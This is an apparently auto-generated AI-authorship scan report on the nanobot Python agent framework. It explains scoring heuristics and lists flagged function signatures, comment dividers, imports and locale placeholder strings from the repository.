Ultra-lightweight, open-source, self-hosted personal AI agent framework in Python with WebUI, tools, memory, MCP, multi-agent workflows, automation, and chat apps
This report presents the forensic synthetic code analysis of HKUDS/nanobot, a Python project with 47,494 GitHub stars. SynthScan v2.0 examined 431,407 lines of code across 1319 source files, recording 9861 pattern matches distributed across 21 syntactic categories. The overall adjusted score of 29.4 places this repository in the Moderate AI signal band.
The scanner applied 160+ deterministic lexical heuristics, multi-line block detectors, abstract syntax tree depth profilers, and a cross-file Jaccard similarity matrix to construct a statistically normalised synthetic code estimate. All matches are individually weighted by severity coefficient and contextual multiplier before summation, and the resulting headline score is temporally discounted to account for the repository's development history relative to the commercial emergence of large language model coding tooling (November 2022 onward).
This chart maps the temporal evolution of the adjusted synthetic code score across successive scan runs. An upward trajectory indicates ongoing incorporation of AI-generated code or expanding LLM-assisted scaffolding; a stable or declining trajectory may reflect active human refactoring, code removal, or the adoption of stricter authorship policies. The dashed secondary line (right axis) independently tracks total raw pattern hit count, which can diverge from the normalised score when codebase size changes significantly between scans.
Classifies detected patterns by their diagnostic confidence and structural impact. CRITICAL patterns (coefficient 10) represent definitive synthetic signatures — hallucinated imports, explicit LLM attribution metadata — virtually never produced by human authors. HIGH (5) indicates strong structural tells such as cross-file repetition or cross-linguistic idioms. MEDIUM (2) covers recognisable conversational padding and AI-specific vocabulary. LOW (1) captures subtle indicators like tautological comments and generic boilerplate that require density to carry independent signal.
This horizontal bar chart decomposes the repository's raw synthetic code score by top-level directory, allowing you to pinpoint precisely which modules or components carry the highest AI authorship density. Directories with disproportionately high scores relative to their size warrant targeted manual review: concentrated AI signatures often trace back to mass-generated configuration layers, auto-ported test suites, LLM-scaffolded boilerplate classes, or entire subsystems authored under heavy copilot assistance. Use this view to prioritise your human code-review effort.
The scanner identified 9861 distinct pattern matches across 21 syntactic categories. Each entry below represents a discrete location in the source code where the engine recorded a statistically significant AI authorship indicator. Expand any category row to inspect the individual file paths, line numbers, code snippets, and the lexical context (CODE, COMMENT, or STRING) in which each match was detected.
Reading the findings table: The Severity column indicates the diagnostic confidence level (CRITICAL / HIGH / MEDIUM / LOW). The Context column identifies whether the match occurred inside executable code, an inline comment, or a string literal — comment-context matches receive a ×1.5 weight because LLMs systematically over-annotate. The ⚡ bolt icon marks clustered matches: three or more patterns within a 10-line window, each receiving an additional ×1.5 density multiplier as dense clusters constitute far stronger evidence of synthetic authorship than isolated hits.
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | conftest.py | 17 | def _isolate_nanobot_log_activation() -> Iterator[None]: | CODE |
| LOW | conftest.py | 53 | def _use_windows_system_ca_for_default_http_clients() -> Iterator[None]: | CODE |
| LOW | tui/src/command-menu.ts | 34 | export function resolveSlashCommandLifecycle( | CODE |
| LOW | tui/src/latex.ts | 545 | function markdownLinkDestinationEnds(source: string): ReadonlyMap<number, number> { | CODE |
| LOW | tui/src/clipboard-image.ts | 34 | export function createClipboardImageReader( | CODE |
| LOW | tui/src/protocol.ts | 1012 | export function sanitizeConnectionFailure(error: unknown): string { | CODE |
| LOW | nanobot/process_runtime.py | 410 | def _posix_process_started_at(self, pid: int) -> str | None: | CODE |
| LOW | nanobot/process_runtime.py | 593 | def _legacy_darwin_started_at(value: str) -> int | None: | CODE |
| LOW | nanobot/process_runtime.py | 679 | def _windows_process_identity(pid: int) -> str | None: | CODE |
| LOW | nanobot/optional_features.py | 67 | def optional_dependency_groups_from_metadata() -> dict[str, list[str] | None]: | CODE |
| LOW | nanobot/optional_features.py | 86 | def optional_dependency_groups() -> dict[str, list[str] | None]: | CODE |
| LOW | nanobot/optional_features.py | 103 | def _install_requirements_for_extra(extra: str, deps: list[str]) -> list[str]: | CODE |
| LOW | nanobot/optional_features.py | 150 | def _extra_dependencies_installed( | CODE |
| LOW | nanobot/optional_features.py | 292 | def set_channel_config_enabled( | CODE |
| LOW | nanobot/optional_features.py | 371 | def _channel_has_required_setup(section: Any, spec: ChannelSetupSpec | None) -> bool: | CODE |
| LOW | nanobot/optional_features.py | 425 | def optional_features_payload( | CODE |
| LOW | nanobot/optional_features.py | 535 | def with_channel_runtime_status( | CODE |
| LOW | nanobot/optional_features.py | 626 | def _combined_channel_runtime_state( | CODE |
| LOW | nanobot/optional_features.py | 738 | def ensure_enabled_channel_dependencies( | CODE |
| LOW | nanobot/optional_features.py | 765 | def _feature_requires_restart(name: str, *, is_channel: bool) -> bool: | CODE |
| LOW | nanobot/runtime_context.py | 55 | def wrap_runtime_context_lines(lines: Iterable[str]) -> str: | CODE |
| LOW | nanobot/runtime_context.py | 63 | def webui_quote_runtime_context(metadata: Mapping[str, Any]) -> RuntimeContextBlock | None: | CODE |
| LOW | nanobot/runtime_context.py | 78 | def normalize_runtime_context_blocks(result: RuntimeContextResult) -> list[RuntimeContextBlock]: | CODE |
| LOW | nanobot/runtime_context.py | 99 | def runtime_context_blocks_from_metadata( | CODE |
| LOW | nanobot/pairing/store.py | 310 | def _handle_pairing_subcommand(channel: str, subcommand_text: str) -> str: | CODE |
| LOW | nanobot/config/errors.py | 93 | def _friendly_validation_message(message: str, code: str) -> str: | CODE |
| LOW | nanobot/config/schema.py | 344 | def wildcard_host_requires_auth(self) -> "ApiConfig": | CODE |
| LOW | nanobot/config/schema.py | 672 | def _resolve_tool_config_refs() -> None: | CODE |
| LOW | nanobot/security/workspace_access.py | 249 | def validate_workspace_scope_payload( | CODE |
| LOW | nanobot/security/workspace_access.py | 290 | def workspace_scope_from_metadata( | CODE |
| LOW | nanobot/security/workspace_access.py | 320 | def resolve_effective_workspace_scope( | CODE |
| LOW | nanobot/security/workspace_access.py | 382 | def current_scope_allows_loopback(*, enabled: bool) -> bool: | CODE |
| LOW | nanobot/security/network.py | 333 | def _is_allowed_loopback_target( | CODE |
| LOW | nanobot/triggers/local_store.py | 222 | def recover_processing_deliveries(self) -> int: | CODE |
| LOW | nanobot/triggers/local_store.py | 293 | def write_delivery_run_record( | CODE |
| LOW | nanobot/triggers/local_store.py | 357 | def _move_bad_delivery_unlocked(self, path: Path) -> None: | CODE |
| LOW | nanobot/triggers/local_store.py | 379 | def _delete_delivery_files_for_trigger_unlocked(self, trigger_id: str) -> None: | CODE |
| LOW | nanobot/triggers/local_store.py | 397 | def _delivery_file_trigger_id(path: Path) -> str | None: | CODE |
| LOW | nanobot/triggers/local_runner.py | 169 | def _write_delivery_run_record( | CODE |
| LOW | nanobot/triggers/local_session_turns.py | 15 | def _local_trigger_history_text(trigger: Mapping[str, Any]) -> str: | CODE |
| LOW | nanobot/triggers/local_session_turns.py | 46 | def local_trigger_delivery_id(metadata: Mapping[str, Any] | None) -> str | None: | CODE |
| LOW | nanobot/triggers/local_turns.py | 37 | def pending_trigger_ids_for_session(self, session_key: str) -> set[str]: | CODE |
| LOW | nanobot/triggers/local_turns.py | 42 | def _should_defer_local_trigger_turn( | CODE |
| LOW⚡ | nanobot/providers/image_generation.py | 244 | def register_image_gen_provider(cls: type[ImageGenerationProvider]) -> None: | CODE |
| LOW⚡ | nanobot/providers/image_generation.py | 265 | def image_gen_provider_configs(config: Config) -> dict[str, ProviderConfig]: | CODE |
| LOW⚡ | nanobot/providers/image_generation.py | 1655 | def _collect_text_from_sse_event(event: dict[str, Any], text_parts: list[str]) -> None: | CODE |
| LOW | nanobot/providers/image_generation.py | 113 | def image_path_to_inline_data(path: str | Path) -> dict[str, str]: | CODE |
| LOW | nanobot/providers/image_generation.py | 606 | def _ollama_images_from_payload(payload: dict[str, Any]) -> list[str]: | CODE |
| LOW | nanobot/providers/image_generation.py | 867 | def _gemini_flash_image_config( | CODE |
| LOW | nanobot/providers/image_generation.py | 890 | def _gemini_flash_supported_aspect_ratios(model: str) -> set[str]: | CODE |
| LOW | nanobot/providers/image_generation.py | 903 | def _gemini_flash_supported_image_sizes(model: str) -> set[str]: | CODE |
| LOW | nanobot/providers/image_generation.py | 919 | async def _aihubmix_images_from_payload( | CODE |
| LOW | nanobot/providers/image_generation.py | 1077 | def _minimax_images_from_payload(payload: dict[str, Any]) -> list[str]: | CODE |
| LOW | nanobot/providers/image_generation.py | 1503 | def _openai_multipart_form_body(body: dict[str, Any]) -> dict[str, str]: | CODE |
| LOW | nanobot/providers/image_generation.py | 1520 | def _openai_is_gpt_image_model(model: str) -> bool: | CODE |
| LOW | nanobot/providers/image_generation.py | 1536 | def _normalize_openai_image_size(image_size: str | None) -> str | None: | CODE |
| LOW | nanobot/providers/image_generation.py | 1543 | def _openai_explicit_size_supported( | CODE |
| LOW | nanobot/providers/image_generation.py | 1554 | async def _openai_images_from_payload( | CODE |
| LOW | nanobot/providers/image_generation.py | 1634 | def _collect_images_from_sse_event(event: dict[str, Any], images: list[str]) -> None: | CODE |
| LOW | nanobot/providers/image_generation.py | 1771 | def _stepfun_images_from_payload(payload: dict[str, Any]) -> list[str]: | CODE |
| 6827 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| MEDIUM⚡ | nanobot/providers/image_generation.py | 237 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | nanobot/providers/image_generation.py | 239 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | nanobot/providers/image_generation.py | 274 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | nanobot/providers/image_generation.py | 276 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | nanobot/providers/image_generation.py | 1662 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | nanobot/providers/image_generation.py | 1664 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | nanobot/providers/image_generation.py | 1093 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | nanobot/providers/image_generation.py | 1095 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | nanobot/providers/image_generation.py | 1366 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | nanobot/providers/image_generation.py | 1368 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | nanobot/providers/image_generation.py | 1784 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | nanobot/providers/image_generation.py | 1786 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | nanobot/providers/image_generation.py | 1927 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | nanobot/providers/image_generation.py | 1929 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | nanobot/providers/image_generation.py | 2115 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | nanobot/providers/image_generation.py | 2117 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | nanobot/providers/registry.py | 139 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | nanobot/providers/registry.py | 141 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | nanobot/providers/registry.py | 756 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | nanobot/providers/registry.py | 758 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | nanobot/providers/openai_compat_provider.py | 862 | # ------------------------------------------------------------------ | COMMENT |
| MEDIUM | nanobot/providers/openai_compat_provider.py | 864 | # ------------------------------------------------------------------ | COMMENT |
| MEDIUM | nanobot/providers/openai_compat_provider.py | 1364 | # ------------------------------------------------------------------ | COMMENT |
| MEDIUM | nanobot/providers/openai_compat_provider.py | 1366 | # ------------------------------------------------------------------ | COMMENT |
| MEDIUM | nanobot/providers/openai_compat_provider.py | 1899 | # ------------------------------------------------------------------ | COMMENT |
| MEDIUM | nanobot/providers/openai_compat_provider.py | 1901 | # ------------------------------------------------------------------ | COMMENT |
| MEDIUM | nanobot/providers/azure_openai_provider.py | 145 | # ------------------------------------------------------------------ | COMMENT |
| MEDIUM | nanobot/providers/azure_openai_provider.py | 147 | # ------------------------------------------------------------------ | COMMENT |
| MEDIUM | nanobot/providers/azure_openai_provider.py | 312 | # ------------------------------------------------------------------ | COMMENT |
| MEDIUM | nanobot/providers/azure_openai_provider.py | 314 | # ------------------------------------------------------------------ | COMMENT |
| MEDIUM⚡ | nanobot/providers/anthropic_provider.py | 723 | # ------------------------------------------------------------------ | COMMENT |
| MEDIUM⚡ | nanobot/providers/anthropic_provider.py | 725 | # ------------------------------------------------------------------ | COMMENT |
| MEDIUM | nanobot/providers/anthropic_provider.py | 184 | # ------------------------------------------------------------------ | COMMENT |
| MEDIUM | nanobot/providers/anthropic_provider.py | 186 | # ------------------------------------------------------------------ | COMMENT |
| MEDIUM | nanobot/providers/anthropic_provider.py | 493 | # ------------------------------------------------------------------ | COMMENT |
| MEDIUM | nanobot/providers/anthropic_provider.py | 495 | # ------------------------------------------------------------------ | COMMENT |
| MEDIUM | nanobot/providers/anthropic_provider.py | 535 | # ------------------------------------------------------------------ | COMMENT |
| MEDIUM | nanobot/providers/anthropic_provider.py | 537 | # ------------------------------------------------------------------ | COMMENT |
| MEDIUM | nanobot/providers/anthropic_provider.py | 573 | # ------------------------------------------------------------------ | COMMENT |
| MEDIUM | nanobot/providers/anthropic_provider.py | 575 | # ------------------------------------------------------------------ | COMMENT |
| MEDIUM | nanobot/providers/anthropic_provider.py | 654 | # ------------------------------------------------------------------ | COMMENT |
| MEDIUM | nanobot/providers/anthropic_provider.py | 656 | # ------------------------------------------------------------------ | COMMENT |
| MEDIUM | nanobot/utils/document.py | 646 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | nanobot/utils/document.py | 648 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | nanobot/utils/searchusage.py | 89 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | nanobot/utils/searchusage.py | 91 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | nanobot/agent/memory.py | 737 | # ------------------------------------------------------------------ | COMMENT |
| MEDIUM⚡ | nanobot/agent/memory.py | 739 | # ------------------------------------------------------------------ | COMMENT |
| MEDIUM | nanobot/agent/memory.py | 51 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | nanobot/agent/memory.py | 53 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | nanobot/agent/memory.py | 786 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | nanobot/agent/memory.py | 788 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | nanobot/agent/tools/filesystem.py | 558 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | nanobot/agent/tools/filesystem.py | 560 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | nanobot/agent/tools/filesystem.py | 604 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | nanobot/agent/tools/filesystem.py | 606 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | nanobot/agent/tools/filesystem.py | 196 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | nanobot/agent/tools/filesystem.py | 198 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | nanobot/agent/tools/filesystem.py | 1106 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | nanobot/agent/tools/filesystem.py | 1108 | # --------------------------------------------------------------------------- | COMMENT |
| 625 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| CRITICAL | nanobot/pairing/store.py | 21 | from nanobot.utils.helpers import _write_text_atomic # pyright: ignore[reportPrivateUsage] | CODE |
| CRITICAL | nanobot/config/paths.py | 7 | from nanobot.utils.helpers import ensure_dir | CODE |
| CRITICAL | nanobot/config/loader.py | 17 | from nanobot.utils.helpers import _write_text_atomic # pyright: ignore[reportPrivateUsage] | CODE |
| CRITICAL | nanobot/triggers/local_store.py | 19 | from nanobot.utils.helpers import truncate_text | CODE |
| CRITICAL | nanobot/providers/image_generation.py | 25 | from nanobot.utils.helpers import detect_image_mime | CODE |
| CRITICAL | nanobot/providers/xai_oauth.py | 34 | from nanobot.utils.helpers import _write_text_atomic # pyright: ignore[reportPrivateUsage] | CODE |
| CRITICAL | nanobot/providers/base.py | 22 | from nanobot.utils.helpers import sanitize_surrogates_deep | CODE |
| CRITICAL | nanobot/utils/media_decode.py | 16 | from nanobot.utils.helpers import safe_filename | CODE |
| CRITICAL | nanobot/utils/workspace_prompts.py | 8 | from nanobot.utils.helpers import truncate_text | CODE |
| CRITICAL | nanobot/utils/__init__.py | 9 | from nanobot.utils.helpers import ensure_dir | CODE |
| CRITICAL | nanobot/utils/runtime.py | 11 | from nanobot.utils.helpers import stringify_text_blocks | CODE |
| CRITICAL | nanobot/utils/document.py | 12 | from nanobot.utils.helpers import detect_image_mime | CODE |
| CRITICAL | nanobot/utils/artifacts.py | 15 | from nanobot.utils.helpers import detect_image_mime, ensure_dir | CODE |
| CRITICAL | nanobot/agent/progress_hook.py | 13 | from nanobot.utils.helpers import IncrementalThinkExtractor, strip_think | CODE |
| CRITICAL | nanobot/agent/loop.py | 99 | from nanobot.utils.helpers import image_placeholder_text | CODE |
| CRITICAL | nanobot/agent/loop.py | 100 | from nanobot.utils.helpers import truncate_text as truncate_text_fn | CODE |
| CRITICAL | nanobot/agent/tools/image_generation.py | 42 | from nanobot.utils.helpers import detect_image_mime | CODE |
| CRITICAL | nanobot/agent/tools/session_messages.py | 184 | from nanobot.utils.helpers import strip_think | CODE |
| CRITICAL | nanobot/agent/tools/web.py | 29 | from nanobot.utils.helpers import build_image_content_blocks | CODE |
| CRITICAL | nanobot/agent/tools/mcp_oauth.py | 28 | from nanobot.utils.helpers import _write_text_atomic # pyright: ignore[reportPrivateUsage] | CODE |
| CRITICAL | nanobot/agent/tools/filesystem.py | 24 | from nanobot.utils.helpers import build_image_content_blocks, detect_image_mime | CODE |
| CRITICAL | nanobot/agent/tools/message.py | 161 | from nanobot.utils.helpers import strip_think | CODE |
| CRITICAL | nanobot/cli/gateway_runtime.py | 41 | from nanobot.utils.helpers import sync_workspace_templates | CODE |
| CRITICAL | nanobot/cli/terminal.py | 32 | from nanobot.utils.helpers import sanitize_surrogates as _sanitize_surrogates | CODE |
| CRITICAL | nanobot/cli/webui.py | 39 | from nanobot.utils.helpers import sync_workspace_templates | CODE |
| CRITICAL | nanobot/cli/agent.py | 135 | from nanobot.utils.helpers import sanitize_surrogates as _sanitize_surrogates | CODE |
| CRITICAL | nanobot/cli/commands.py | 77 | from nanobot.utils.helpers import sanitize_surrogates as _sanitize_surrogates # noqa: E402,F401 | CODE |
| CRITICAL | nanobot/api/server.py | 23 | from nanobot.utils.helpers import safe_filename | CODE |
| CRITICAL | nanobot/webui/inbound_commands.py | 37 | from nanobot.utils.helpers import safe_filename | CODE |
| CRITICAL | nanobot/webui/session_context.py | 9 | from nanobot.utils.helpers import estimate_message_tokens, truncate_text | CODE |
| CRITICAL | nanobot/webui/mcp_presets_api.py | 33 | from nanobot.utils.helpers import ensure_dir | CODE |
| CRITICAL | nanobot/webui/media_api.py | 22 | from nanobot.utils.helpers import safe_filename | CODE |
| CRITICAL | nanobot/command/builtin.py | 18 | from nanobot.utils.helpers import build_status_content | CODE |
| CRITICAL | nanobot/channels/napcat/runtime.py | 28 | from nanobot.utils.helpers import safe_filename | CODE |
| CRITICAL | nanobot/channels/discord/runtime.py | 23 | from nanobot.utils.helpers import safe_filename, split_message | CODE |
| CRITICAL | nanobot/channels/feishu/runtime.py | 45 | from nanobot.utils.helpers import safe_filename | CODE |
| CRITICAL | nanobot/channels/feishu/runtime.py | 1303 | response = self._client.im.v1.message_reaction.create(request) | CODE |
| CRITICAL | nanobot/channels/feishu/runtime.py | 1344 | response = self._client.im.v1.message_reaction.delete(request) | CODE |
| CRITICAL | nanobot/channels/feishu/runtime.py | 1694 | response = self._client.im.v1.image.create(request) | CODE |
| CRITICAL | nanobot/channels/feishu/runtime.py | 1728 | response = self._client.im.v1.file.create(request) | CODE |
| CRITICAL | nanobot/channels/feishu/runtime.py | 1756 | response = self._client.im.v1.message_resource.get(request) | CODE |
| CRITICAL | nanobot/channels/feishu/runtime.py | 1791 | response = self._client.im.v1.message_resource.get(request) | CODE |
| CRITICAL | nanobot/channels/feishu/runtime.py | 1895 | response = self._client.im.v1.message.get(request) | CODE |
| CRITICAL | nanobot/channels/feishu/runtime.py | 1952 | response = self._client.im.v1.message.reply(request) | CODE |
| CRITICAL | nanobot/channels/feishu/runtime.py | 2084 | response = self._client.im.v1.message.create(request) | CODE |
| CRITICAL | nanobot/channels/feishu/runtime.py | 2142 | response = self._client.cardkit.v1.card.create(request) | CODE |
| CRITICAL | nanobot/channels/feishu/runtime.py | 2192 | response = self._client.cardkit.v1.card_element.content(request) | CODE |
| CRITICAL | nanobot/channels/feishu/runtime.py | 2224 | response = self._client.cardkit.v1.card.settings(request) | CODE |
| CRITICAL⚡ | nanobot/channels/feishu/tests/test_feishu_reaction.py | 100 | ch._client.im.v1.message_reaction.delete.assert_called_once() | CODE |
| CRITICAL⚡ | nanobot/channels/feishu/tests/test_feishu_reaction.py | 112 | ch._client.im.v1.message_reaction.delete.assert_called_once() | CODE |
| CRITICAL⚡ | nanobot/channels/feishu/tests/test_feishu_reaction.py | 120 | ch._client.im.v1.message_reaction.delete.assert_called_once() | CODE |
| CRITICAL⚡ | nanobot/channels/feishu/tests/test_feishu_streaming.py | 75 | ch._client.cardkit.v1.card.create.assert_called_once() | CODE |
| CRITICAL⚡ | nanobot/channels/feishu/tests/test_feishu_streaming.py | 76 | ch._client.im.v1.message.create.assert_called_once() | CODE |
| CRITICAL⚡ | nanobot/channels/feishu/tests/test_feishu_streaming.py | 169 | ch._client.cardkit.v1.card.create.assert_called_once() | CODE |
| CRITICAL⚡ | nanobot/channels/feishu/tests/test_feishu_streaming.py | 170 | ch._client.im.v1.message.create.assert_called_once() | CODE |
| CRITICAL⚡ | nanobot/channels/feishu/tests/test_feishu_streaming.py | 171 | ch._client.cardkit.v1.card_element.content.assert_called_once() | CODE |
| CRITICAL⚡ | nanobot/channels/feishu/tests/test_feishu_streaming.py | 204 | ch._client.im.v1.message.create.assert_called_once() | CODE |
| CRITICAL⚡ | nanobot/channels/feishu/tests/test_feishu_streaming.py | 205 | ch._client.im.v1.message.reply.assert_not_called() | CODE |
| CRITICAL⚡ | nanobot/channels/feishu/tests/test_feishu_streaming.py | 222 | ch._client.im.v1.message.reply.assert_called_once() | CODE |
| CRITICAL⚡ | nanobot/channels/feishu/tests/test_feishu_streaming.py | 223 | ch._client.im.v1.message.create.assert_not_called() | CODE |
| 90 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | nanobot/webui/mcp_presets_api.py | 659 | "placeholder": field.placeholder, | CODE |
| LOW⚡ | nanobot/channels/dingtalk/webui/locales/ja.json | 17 | "placeholder": "DingTalk Client ID", | CODE |
| LOW⚡ | nanobot/channels/dingtalk/webui/locales/ja.json | 22 | "placeholder": "••••••", | CODE |
| LOW⚡ | nanobot/channels/dingtalk/webui/locales/ja.json | 27 | "placeholder": "ユーザー ID(カンマ区切り)" | CODE |
| LOW⚡ | nanobot/channels/dingtalk/webui/locales/zh-CN.json | 18 | "placeholder": "钉钉 Client ID", | CODE |
| LOW⚡ | nanobot/channels/dingtalk/webui/locales/zh-CN.json | 23 | "placeholder": "••••••", | CODE |
| LOW⚡ | nanobot/channels/dingtalk/webui/locales/zh-CN.json | 28 | "placeholder": "用户 ID,用逗号分隔" | CODE |
| LOW⚡ | nanobot/channels/dingtalk/webui/locales/en.json | 17 | "placeholder": "DingTalk client ID", | CODE |
| LOW⚡ | nanobot/channels/dingtalk/webui/locales/en.json | 22 | "placeholder": "••••••", | CODE |
| LOW⚡ | nanobot/channels/dingtalk/webui/locales/en.json | 27 | "placeholder": "User IDs, comma separated" | CODE |
| LOW⚡ | nanobot/channels/dingtalk/webui/locales/fr.json | 17 | "placeholder": "Client ID DingTalk", | CODE |
| LOW⚡ | nanobot/channels/dingtalk/webui/locales/fr.json | 22 | "placeholder": "••••••", | CODE |
| LOW⚡ | nanobot/channels/dingtalk/webui/locales/fr.json | 27 | "placeholder": "ID utilisateur séparés par des virgules" | CODE |
| LOW⚡ | nanobot/channels/dingtalk/webui/locales/pt-BR.json | 17 | "placeholder": "Client ID do DingTalk", | CODE |
| LOW⚡ | nanobot/channels/dingtalk/webui/locales/pt-BR.json | 22 | "placeholder": "••••••", | CODE |
| LOW⚡ | nanobot/channels/dingtalk/webui/locales/pt-BR.json | 27 | "placeholder": "IDs de usuário separados por vírgulas" | CODE |
| LOW⚡ | nanobot/channels/dingtalk/webui/locales/ko.json | 17 | "placeholder": "DingTalk Client ID", | CODE |
| LOW⚡ | nanobot/channels/dingtalk/webui/locales/ko.json | 22 | "placeholder": "••••••", | CODE |
| LOW⚡ | nanobot/channels/dingtalk/webui/locales/ko.json | 27 | "placeholder": "사용자 ID, 쉼표로 구분" | CODE |
| LOW⚡ | nanobot/channels/dingtalk/webui/locales/zh-TW.json | 18 | "placeholder": "釘釘 Client ID", | CODE |
| LOW⚡ | nanobot/channels/dingtalk/webui/locales/zh-TW.json | 23 | "placeholder": "••••••", | CODE |
| LOW⚡ | nanobot/channels/dingtalk/webui/locales/zh-TW.json | 28 | "placeholder": "使用者 ID,以逗號分隔" | CODE |
| LOW⚡ | nanobot/channels/dingtalk/webui/locales/vi.json | 17 | "placeholder": "Client ID DingTalk", | CODE |
| LOW⚡ | nanobot/channels/dingtalk/webui/locales/vi.json | 22 | "placeholder": "••••••", | CODE |
| LOW⚡ | nanobot/channels/dingtalk/webui/locales/vi.json | 27 | "placeholder": "ID người dùng, phân tách bằng dấu phẩy" | CODE |
| LOW⚡ | nanobot/channels/dingtalk/webui/locales/id.json | 17 | "placeholder": "Client ID DingTalk", | CODE |
| LOW⚡ | nanobot/channels/dingtalk/webui/locales/id.json | 22 | "placeholder": "••••••", | CODE |
| LOW⚡ | nanobot/channels/dingtalk/webui/locales/id.json | 27 | "placeholder": "ID pengguna, dipisahkan koma" | CODE |
| LOW⚡ | nanobot/channels/dingtalk/webui/locales/es.json | 17 | "placeholder": "Client ID de DingTalk", | CODE |
| LOW⚡ | nanobot/channels/dingtalk/webui/locales/es.json | 22 | "placeholder": "••••••", | CODE |
| LOW⚡ | nanobot/channels/dingtalk/webui/locales/es.json | 27 | "placeholder": "ID de usuario separados por comas" | CODE |
| LOW | nanobot/channels/napcat/webui/locales/ja.json | 17 | "placeholder": "ws://127.0.0.1:3001", | CODE |
| LOW | nanobot/channels/napcat/webui/locales/ja.json | 22 | "placeholder": "任意のトークン" | CODE |
| LOW | nanobot/channels/napcat/webui/locales/ja.json | 34 | "placeholder": "QQ ID(カンマ区切り)" | CODE |
| LOW | nanobot/channels/napcat/webui/locales/zh-CN.json | 17 | "placeholder": "ws://127.0.0.1:3001", | CODE |
| LOW | nanobot/channels/napcat/webui/locales/zh-CN.json | 22 | "placeholder": "可选令牌" | CODE |
| LOW | nanobot/channels/napcat/webui/locales/zh-CN.json | 34 | "placeholder": "QQ ID,用逗号分隔" | CODE |
| LOW | nanobot/channels/napcat/webui/locales/en.json | 17 | "placeholder": "ws://127.0.0.1:3001", | CODE |
| LOW | nanobot/channels/napcat/webui/locales/en.json | 22 | "placeholder": "Optional token" | CODE |
| LOW | nanobot/channels/napcat/webui/locales/en.json | 34 | "placeholder": "QQ IDs, comma separated" | CODE |
| LOW | nanobot/channels/napcat/webui/locales/fr.json | 17 | "placeholder": "ws://127.0.0.1:3001", | CODE |
| LOW | nanobot/channels/napcat/webui/locales/fr.json | 22 | "placeholder": "Jeton facultatif" | CODE |
| LOW | nanobot/channels/napcat/webui/locales/fr.json | 34 | "placeholder": "ID QQ séparés par des virgules" | CODE |
| LOW | nanobot/channels/napcat/webui/locales/pt-BR.json | 17 | "placeholder": "ws://127.0.0.1:3001", | CODE |
| LOW | nanobot/channels/napcat/webui/locales/pt-BR.json | 22 | "placeholder": "Token opcional" | CODE |
| LOW | nanobot/channels/napcat/webui/locales/pt-BR.json | 34 | "placeholder": "IDs do QQ separados por vírgulas" | CODE |
| LOW | nanobot/channels/napcat/webui/locales/ko.json | 17 | "placeholder": "ws://127.0.0.1:3001", | CODE |
| LOW | nanobot/channels/napcat/webui/locales/ko.json | 22 | "placeholder": "선택적 토큰" | CODE |
| LOW | nanobot/channels/napcat/webui/locales/ko.json | 34 | "placeholder": "QQ ID, 쉼표로 구분" | CODE |
| LOW | nanobot/channels/napcat/webui/locales/zh-TW.json | 17 | "placeholder": "ws://127.0.0.1:3001", | CODE |
| LOW | nanobot/channels/napcat/webui/locales/zh-TW.json | 22 | "placeholder": "可選權杖" | CODE |
| LOW | nanobot/channels/napcat/webui/locales/zh-TW.json | 34 | "placeholder": "QQ ID,以逗號分隔" | CODE |
| LOW | nanobot/channels/napcat/webui/locales/vi.json | 17 | "placeholder": "ws://127.0.0.1:3001", | CODE |
| LOW | nanobot/channels/napcat/webui/locales/vi.json | 22 | "placeholder": "Token tùy chọn" | CODE |
| LOW | nanobot/channels/napcat/webui/locales/vi.json | 34 | "placeholder": "ID QQ, phân tách bằng dấu phẩy" | CODE |
| LOW | nanobot/channels/napcat/webui/locales/id.json | 17 | "placeholder": "ws://127.0.0.1:3001", | CODE |
| LOW | nanobot/channels/napcat/webui/locales/id.json | 22 | "placeholder": "Token opsional" | CODE |
| LOW | nanobot/channels/napcat/webui/locales/id.json | 34 | "placeholder": "ID QQ, dipisahkan koma" | CODE |
| LOW | nanobot/channels/napcat/webui/locales/es.json | 17 | "placeholder": "ws://127.0.0.1:3001", | CODE |
| LOW | nanobot/channels/napcat/webui/locales/es.json | 22 | "placeholder": "Token opcional" | CODE |
| 535 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | conftest.py | 3 | CODE | |
| LOW | hatch_build.py | 21 | CODE | |
